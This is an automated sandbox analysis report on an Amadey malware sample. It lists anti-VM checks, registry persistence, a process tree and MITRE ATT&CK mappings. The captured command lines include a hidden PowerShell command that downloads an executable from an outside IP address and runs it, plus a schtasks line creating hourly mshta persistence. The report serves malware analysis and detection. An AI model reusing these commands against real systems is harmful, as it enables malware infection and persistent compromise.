amadey | 74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2o1838.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3G92r.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1d58u7.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
54	4792	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4792	powershell.exe
4180	powershell.exe
5060	powershell.exe
216	powershell.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1d58u7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1d58u7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2o1838.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3G92r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2o1838.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3G92r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	1d58u7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	4T376r.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 9 IoCs

pid	Process
4464	T7m96.exe
3260	w2N58.exe
2316	1d58u7.exe
3344	skotes.exe
3356	2o1838.exe
4848	3G92r.exe
4368	4T376r.exe
704	skotes.exe
1140	skotes.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	1d58u7.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	2o1838.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	3G92r.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	T7m96.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	w2N58.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
2316	1d58u7.exe
3344	skotes.exe
3356	2o1838.exe
4848	3G92r.exe
704	skotes.exe
1140	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1d58u7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3592	4848	WerFault.exe	88

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2o1838.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3G92r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4T376r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	T7m96.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	w2N58.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1d58u7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3G92r.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3G92r.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
32	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4776	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2316	1d58u7.exe
2316	1d58u7.exe
3344	skotes.exe
3344	skotes.exe
3356	2o1838.exe
3356	2o1838.exe
4848	3G92r.exe
4848	3G92r.exe
4848	3G92r.exe
4848	3G92r.exe
4180	powershell.exe
4180	powershell.exe
5060	powershell.exe
5060	powershell.exe
216	powershell.exe
216	powershell.exe
4792	powershell.exe
4792	powershell.exe
704	skotes.exe
704	skotes.exe
1140	skotes.exe
1140	skotes.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	216	powershell.exe
Token: SeDebugPrivilege	4792	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2316	1d58u7.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 3228 wrote to memory of 4464	3228	74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe	82
PID 3228 wrote to memory of 4464	3228	74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe	82
PID 3228 wrote to memory of 4464	3228	74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe	82
PID 4464 wrote to memory of 3260	4464	T7m96.exe	83
PID 4464 wrote to memory of 3260	4464	T7m96.exe	83
PID 4464 wrote to memory of 3260	4464	T7m96.exe	83
PID 3260 wrote to memory of 2316	3260	w2N58.exe	84
PID 3260 wrote to memory of 2316	3260	w2N58.exe	84
PID 3260 wrote to memory of 2316	3260	w2N58.exe	84
PID 2316 wrote to memory of 3344	2316	1d58u7.exe	86
PID 2316 wrote to memory of 3344	2316	1d58u7.exe	86
PID 2316 wrote to memory of 3344	2316	1d58u7.exe	86
PID 3260 wrote to memory of 3356	3260	w2N58.exe	87
PID 3260 wrote to memory of 3356	3260	w2N58.exe	87
PID 3260 wrote to memory of 3356	3260	w2N58.exe	87
PID 4464 wrote to memory of 4848	4464	T7m96.exe	88
PID 4464 wrote to memory of 4848	4464	T7m96.exe	88
PID 4464 wrote to memory of 4848	4464	T7m96.exe	88
PID 3228 wrote to memory of 4368	3228	74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe	107
PID 3228 wrote to memory of 4368	3228	74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe	107
PID 3228 wrote to memory of 4368	3228	74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe	107
PID 4368 wrote to memory of 4144	4368	4T376r.exe	108
PID 4368 wrote to memory of 4144	4368	4T376r.exe	108
PID 4144 wrote to memory of 32	4144	cmd.exe	112
PID 4144 wrote to memory of 32	4144	cmd.exe	112
PID 4144 wrote to memory of 3408	4144	cmd.exe	114
PID 4144 wrote to memory of 3408	4144	cmd.exe	114
PID 3408 wrote to memory of 4180	3408	cmd.exe	115
PID 3408 wrote to memory of 4180	3408	cmd.exe	115
PID 4144 wrote to memory of 508	4144	cmd.exe	116
PID 4144 wrote to memory of 508	4144	cmd.exe	116
PID 508 wrote to memory of 5060	508	cmd.exe	117
PID 508 wrote to memory of 5060	508	cmd.exe	117
PID 4144 wrote to memory of 4912	4144	cmd.exe	118
PID 4144 wrote to memory of 4912	4144	cmd.exe	118
PID 4912 wrote to memory of 216	4912	cmd.exe	119
PID 4912 wrote to memory of 216	4912	cmd.exe	119
PID 4144 wrote to memory of 4776	4144	cmd.exe	120
PID 4144 wrote to memory of 4776	4144	cmd.exe	120
PID 4144 wrote to memory of 4624	4144	cmd.exe	121
PID 4144 wrote to memory of 4624	4144	cmd.exe	121
PID 4624 wrote to memory of 4792	4624	mshta.exe	122
PID 4624 wrote to memory of 4792	4624	mshta.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe
"C:\Users\Admin\AppData\Local\Temp\74e9290d224db2ee11d82c91e95df1032d5d5d9d731bac4175793f3751e8075f.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3228
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\T7m96.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\T7m96.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\w2N58.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\w2N58.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1d58u7.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1d58u7.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2316
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3344
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2o1838.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2o1838.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3356
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3G92r.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3G92r.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4848
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 1552
      4⤵
      Program crash
      PID:3592
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4T376r.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4T376r.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\31D9.tmp\31DA.tmp\31DB.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4T376r.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:32
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3408
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:508
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4912
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:216
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "lCgbAmaUhOG" /tr "mshta \"C:\Temp\ihBFE7qzA.hta\"" /sc minute /mo 60 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4776
  - - C:\Windows\system32\mshta.exe
      mshta "C:\Temp\ihBFE7qzA.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4624
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4848 -ip 4848
1⤵
PID:4520

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:704

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion